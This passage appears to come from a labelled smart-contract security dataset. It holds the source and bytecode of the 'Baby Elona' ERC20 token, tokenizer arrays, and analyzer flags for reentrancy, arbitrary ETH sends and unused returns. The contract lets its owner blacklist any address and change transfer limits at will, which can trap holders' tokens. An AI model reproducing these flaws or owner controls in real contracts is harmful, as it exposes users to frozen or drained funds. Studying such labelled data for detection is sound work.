e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f507572636861736520776f756c6420657863656564206d617820746f6b656e73600082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f45746865722076616c75652073656e74206973206e6f7420636f727265637400600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f53616c65206d7573742062652061637469766520746f206d696e7420746f6b6560008201527f6e73000000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565646564206d617820746f6b656e2070757263686173650000000000600082015250565b7f4578636565646564206d617820617661696c61626c6520746f2070757263686160008201527f7365000000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f416c6c6f77206c697374206973206e6f74206163746976650000000000000000600082015250565b61472e81613e04565b811461473957600080fd5b50565b61474581613e16565b811461475057600080fd5b50565b61475c81613e22565b811461476757600080fd5b50565b61477381613e6e565b811461477e57600080fd5b50565b61478a81613e78565b811461479557600080fd5b5056fea2646970667358221220997c47acc9aa8678fde136f5f6b571fc730a769dee07063e40cdfaa6c68d663b64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 21057, 2094, 27009, 2692, 2278, 27814, 2050, 2581, 2683, 2546, 18827, 2683, 23833, 28311, 8270, 2620, 2850, 2475, 2278, 29345, 24096, 2692, 12879, 2620, 2549, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 7817, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5164, 3136, 1012, 1008, 1013, 3075, 7817, 1063, 27507, 16048, 2797, 5377, 1035, 2002, 2595, 1035, 9255, 1027, 1000, 5890, 21926, 19961, 2575, 2581, 2620, 2683, 7875, 19797, 12879, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 19884, 1037, 1036, 21318, 3372, 17788, 2575, 1036, 2000, 2049, 2004, 6895, 2072, 1036, 5164, 1036, 26066, 6630, 1012, 1008, 1013, 3853, 2000, 3367, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,893
0x97912fb2398b0948ceafc202a85dfc2adf8dffa1
/** //SPDX-License-Identifier: UNLICENSED Telegram: https://t.me/BabyElonaToken */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BabyElona is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isExcludedFromLimit; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public swapThreshold = 100_000_000 * 10**9; uint256 private _reflectionFee = 0; uint256 private _teamFee = 12; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Baby Elona"; string private constant _symbol = "bELONA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap; bool private swapEnabled; bool private cooldownEnabled; uint256 private _maxTxAmount = 20_000_000_000 * 10**9; uint256 private _maxWalletAmount = 30_000_000_000 * 10**9; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address wallet1, address wallet2) { _feeAddrWallet1 = payable(wallet1); _feeAddrWallet2 = payable(wallet2); _rOwned[_msgSender()] = _rTotal; isExcludedFromFee[owner()] = true; isExcludedFromFee[address(this)] = true; isExcludedFromFee[_feeAddrWallet1] = true; isExcludedFromFee[_feeAddrWallet2] = true; isExcludedFromLimit[owner()] = true; isExcludedFromLimit[address(this)] = true; isExcludedFromLimit[address(0xdead)] = true; isExcludedFromLimit[_feeAddrWallet1] = true; isExcludedFromLimit[_feeAddrWallet2] = true; emit Transfer(address(this), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (!isExcludedFromLimit[from] || (from == uniswapV2Pair && !isExcludedFromLimit[to])) { require(amount <= _maxTxAmount, "Anti-whale: Transfer amount exceeds max limit"); } if (!isExcludedFromLimit[to]) { require(balanceOf(to) + amount <= _maxWalletAmount, "Anti-whale: Wallet amount exceeds max limit"); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && !isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance >= swapThreshold) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); isExcludedFromLimit[address(uniswapV2Router)] = true; isExcludedFromLimit[uniswapV2Pair] = true; uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function changeMaxTxAmount(uint256 amount) public onlyOwner { _maxTxAmount = amount; } function changeMaxWalletAmount(uint256 amount) public onlyOwner { _maxWalletAmount = amount; } function changeSwapThreshold(uint256 amount) public onlyOwner { swapThreshold = amount; } function excludeFromFees(address account, bool excluded) public onlyOwner { isExcludedFromFee[account] = excluded; } function excludeFromLimits(address account, bool excluded) public onlyOwner { isExcludedFromLimit[account] = excluded; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rReflect, uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) { _rOwned[recipient] = _rOwned[recipient].add(rAmount); emit Transfer(sender, recipient, tAmount); } else { _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rReflect, tReflect); emit Transfer(sender, recipient, tTransferAmount); } } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rReflect) = _getRValues(tAmount, tReflect, tTeam, currentRate); return (rAmount, rTransferAmount, rReflect, tTransferAmount, tReflect, tTeam); } function _getTValues(uint256 tAmount, uint256 reflectFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tReflect = tAmount.mul(reflectFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tReflect).sub(tTeam); return (tTransferAmount, tReflect, tTeam); } function _getRValues(uint256 tAmount, uint256 tReflect, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rReflect = tReflect.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rReflect).sub(rTeam); return (rAmount, rTransferAmount, rReflect); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b515566a1161008a578063c9567bf911610064578063c9567bf91461049f578063d94160e0146104b4578063dd62ed3e146104e4578063f42938901461052a57600080fd5b8063b515566a1461043f578063c02466681461045f578063c0a904a21461047f57600080fd5b8063715018a61461037d57806381bfdcca1461039257806389f425e7146103b25780638da5cb5b146103d257806395d89b41146103f0578063a9059cbb1461041f57600080fd5b8063313ce5671161013e5780635342acb4116101185780635342acb4146102ed5780635932ead11461031d578063677daa571461033d57806370a082311461035d57600080fd5b8063313ce5671461028457806349bd5a5e146102a057806351bc3c85146102d857600080fd5b80630445b6671461019157806306fdde03146101ba578063095ea7b3146101f657806318160ddd1461022657806323b872dd14610242578063273123b71461026257600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a7600b5481565b6040519081526020015b60405180910390f35b3480156101c657600080fd5b5060408051808201909152600a8152694261627920456c6f6e6160b01b60208201525b6040516101b19190611d05565b34801561020257600080fd5b50610216610211366004611b96565b61053f565b60405190151581526020016101b1565b34801561023257600080fd5b50683635c9adc5dea000006101a7565b34801561024e57600080fd5b5061021661025d366004611b29565b610556565b34801561026e57600080fd5b5061028261027d366004611ab9565b6105bf565b005b34801561029057600080fd5b50604051600981526020016101b1565b3480156102ac57600080fd5b506011546102c0906001600160a01b031681565b6040516001600160a01b0390911681526020016101b1565b3480156102e457600080fd5b50610282610613565b3480156102f957600080fd5b50610216610308366004611ab9565b60056020526000908152604090205460ff1681565b34801561032957600080fd5b50610282610338366004611c88565b61064c565b34801561034957600080fd5b50610282610358366004611cc0565b610694565b34801561036957600080fd5b506101a7610378366004611ab9565b6106c3565b34801561038957600080fd5b506102826106e5565b34801561039e57600080fd5b506102826103ad366004611cc0565b610759565b3480156103be57600080fd5b506102826103cd366004611cc0565b610788565b3480156103de57600080fd5b506000546001600160a01b03166102c0565b3480156103fc57600080fd5b5060408051808201909152600681526562454c4f4e4160d01b60208201526101e9565b34801561042b57600080fd5b5061021661043a366004611b96565b6107b7565b34801561044b57600080fd5b5061028261045a366004611bc1565b6107c4565b34801561046b57600080fd5b5061028261047a366004611b69565b610868565b34801561048b57600080fd5b5061028261049a366004611b69565b6108bd565b3480156104ab57600080fd5b50610282610912565b3480156104c057600080fd5b506102166104cf366004611ab9565b60066020526000908152604090205460ff1681565b3480156104f057600080fd5b506101a76104ff366004611af1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561053657600080fd5b50610282610cfd565b600061054c338484610d27565b5060015b92915050565b6000610563848484610e4b565b6105b584336105b085604051806060016040528060288152602001611ed6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611291565b610d27565b5060019392505050565b6000546001600160a01b031633146105f25760405162461bcd60e51b81526004016105e990611d58565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600e546001600160a01b0316336001600160a01b03161461063357600080fd5b600061063e306106c3565b9050610649816112cb565b50565b6000546001600160a01b031633146106765760405162461bcd60e51b81526004016105e990611d58565b60118054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146106be5760405162461bcd60e51b81526004016105e990611d58565b601255565b6001600160a01b03811660009081526002602052604081205461055090611470565b6000546001600160a01b0316331461070f5760405162461bcd60e51b81526004016105e990611d58565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107835760405162461bcd60e51b81526004016105e990611d58565b601355565b6000546001600160a01b031633146107b25760405162461bcd60e51b81526004016105e990611d58565b600b55565b600061054c338484610e4b565b6000546001600160a01b031633146107ee5760405162461bcd60e51b81526004016105e990611d58565b60005b81518110156108645760016007600084848151811061082057634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061085c81611e6b565b9150506107f1565b5050565b6000546001600160a01b031633146108925760405162461bcd60e51b81526004016105e990611d58565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108e75760405162461bcd60e51b81526004016105e990611d58565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461093c5760405162461bcd60e51b81526004016105e990611d58565b601154600160a01b900460ff16156109965760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105e9565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109d33082683635c9adc5dea00000610d27565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0c57600080fd5b505afa158015610a20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a449190611ad5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8c57600080fd5b505afa158015610aa0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac49190611ad5565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610b0c57600080fd5b505af1158015610b20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b449190611ad5565b601180546001600160a01b0319166001600160a01b03928316178155601080548316600090815260066020526040808220805460ff1990811660019081179092559454861683529120805490931617909155541663f305d7194730610ba8816106c3565b600080610bbd6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610c2057600080fd5b505af1158015610c34573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c599190611cd8565b50506011805463ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610cc557600080fd5b505af1158015610cd9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108649190611ca4565b600e546001600160a01b0316336001600160a01b031614610d1d57600080fd5b47610649816114f4565b6001600160a01b038316610d895760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e9565b6001600160a01b038216610dea5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610eaf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105e9565b6001600160a01b038216610f115760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105e9565b80610f1b846106c3565b1015610f785760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105e9565b6000546001600160a01b03848116911614801590610fa457506000546001600160a01b03838116911614155b15611281576001600160a01b03831660009081526007602052604090205460ff16158015610feb57506001600160a01b03821660009081526007602052604090205460ff16155b610ff457600080fd5b6001600160a01b03831660009081526006602052604090205460ff16158061104d57506011546001600160a01b03848116911614801561104d57506001600160a01b03821660009081526006602052604090205460ff16155b156110ba576012548111156110ba5760405162461bcd60e51b815260206004820152602d60248201527f416e74692d7768616c653a205472616e7366657220616d6f756e74206578636560448201526c19591cc81b585e081b1a5b5a5d609a1b60648201526084016105e9565b6001600160a01b03821660009081526006602052604090205460ff1661115357601354816110e7846106c3565b6110f19190611dfd565b11156111535760405162461bcd60e51b815260206004820152602b60248201527f416e74692d7768616c653a2057616c6c657420616d6f756e742065786365656460448201526a1cc81b585e081b1a5b5a5d60aa1b60648201526084016105e9565b6011546001600160a01b03848116911614801561117e57506010546001600160a01b03838116911614155b80156111a357506001600160a01b03821660009081526005602052604090205460ff16155b80156111b85750601154600160b81b900460ff165b15611206576001600160a01b03821660009081526008602052604090205442116111e157600080fd5b6111ec42601e611dfd565b6001600160a01b0383166000908152600860205260409020555b6000611211306106c3565b601154909150600160a81b900460ff1615801561123c57506011546001600160a01b03858116911614155b80156112515750601154600160b01b900460ff165b801561125f5750600b548110155b1561127f5761126d816112cb565b47801561127d5761127d476114f4565b505b505b61128c838383611579565b505050565b600081848411156112b55760405162461bcd60e51b81526004016105e99190611d05565b5060006112c28486611e54565b95945050505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137557600080fd5b505afa158015611389573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ad9190611ad5565b816001815181106113ce57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526010546113f49130911684610d27565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142d908590600090869030904290600401611d8d565b600060405180830381600087803b15801561144757600080fd5b505af115801561145b573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b60006009548211156114d75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105e9565b60006114e1611584565b90506114ed83826115a7565b9392505050565b600e546001600160a01b03166108fc61150e8360026115a7565b6040518115909202916000818181858888f19350505050158015611536573d6000803e3d6000fd5b50600f546001600160a01b03166108fc6115518360026115a7565b6040518115909202916000818181858888f19350505050158015610864573d6000803e3d6000fd5b61128c8383836115e9565b60008060006115916117a9565b90925090506115a082826115a7565b9250505090565b60006114ed83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117eb565b6000806000806000806115fb87611819565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061162d9087611876565b6001600160a01b038a1660009081526002602090815260408083209390935560059052205460ff168061167857506001600160a01b03881660009081526005602052604090205460ff165b15611701576001600160a01b0388166000908152600260205260409020546116a090876118b8565b6001600160a01b03808a1660008181526002602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116f4908b815260200190565b60405180910390a361179e565b6001600160a01b03881660009081526002602052604090205461172490866118b8565b6001600160a01b03891660009081526002602052604090205561174681611917565b6117508483611961565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179591815260200190565b60405180910390a35b505050505050505050565b6009546000908190683635c9adc5dea000006117c582826115a7565b8210156117e257505060095492683635c9adc5dea0000092509050565b90939092509050565b6000818361180c5760405162461bcd60e51b81526004016105e99190611d05565b5060006112c28486611e15565b60008060008060008060008060006118368a600c54600d54611985565b9250925092506000611846611584565b905060008060006118598e8787876119da565b919e509c509a509598509396509194505050505091939550919395565b60006114ed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611291565b6000806118c58385611dfd565b9050838110156114ed5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105e9565b6000611921611584565b9050600061192f8383611a2a565b3060009081526002602052604090205490915061194c90826118b8565b30600090815260026020526040902055505050565b60095461196e9083611876565b600955600a5461197e90826118b8565b600a555050565b600080808061199f60646119998989611a2a565b906115a7565b905060006119b260646119998a89611a2a565b905060006119ca826119c48b86611876565b90611876565b9992985090965090945050505050565b60008080806119e98886611a2a565b905060006119f78887611a2a565b90506000611a058888611a2a565b90506000611a17826119c48686611876565b939b939a50919850919650505050505050565b600082611a3957506000610550565b6000611a458385611e35565b905082611a528583611e15565b146114ed5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105e9565b8035611ab481611eb2565b919050565b600060208284031215611aca578081fd5b81356114ed81611eb2565b600060208284031215611ae6578081fd5b81516114ed81611eb2565b60008060408385031215611b03578081fd5b8235611b0e81611eb2565b91506020830135611b1e81611eb2565b809150509250929050565b600080600060608486031215611b3d578081fd5b8335611b4881611eb2565b92506020840135611b5881611eb2565b929592945050506040919091013590565b60008060408385031215611b7b578182fd5b8235611b8681611eb2565b91506020830135611b1e81611ec7565b60008060408385031215611ba8578182fd5b8235611bb381611eb2565b946020939093013593505050565b60006020808385031215611bd3578182fd5b823567ffffffffffffffff80821115611bea578384fd5b818501915085601f830112611bfd578384fd5b813581811115611c0f57611c0f611e9c565b8060051b604051601f19603f83011681018181108582111715611c3457611c34611e9c565b604052828152858101935084860182860187018a1015611c52578788fd5b8795505b83861015611c7b57611c6781611aa9565b855260019590950194938601938601611c56565b5098975050505050505050565b600060208284031215611c99578081fd5b81356114ed81611ec7565b600060208284031215611cb5578081fd5b81516114ed81611ec7565b600060208284031215611cd1578081fd5b5035919050565b600080600060608486031215611cec578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611d3157858101830151858201604001528201611d15565b81811115611d425783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ddc5784516001600160a01b031683529383019391830191600101611db7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611e1057611e10611e86565b500190565b600082611e3057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611e4f57611e4f611e86565b500290565b600082821015611e6657611e66611e86565b500390565b6000600019821415611e7f57611e7f611e86565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461064957600080fd5b801515811461064957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122086737f3c9289ad91c4bbf70afae81f06b3c5f1f0962ecef72167faf5a6b465f264736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
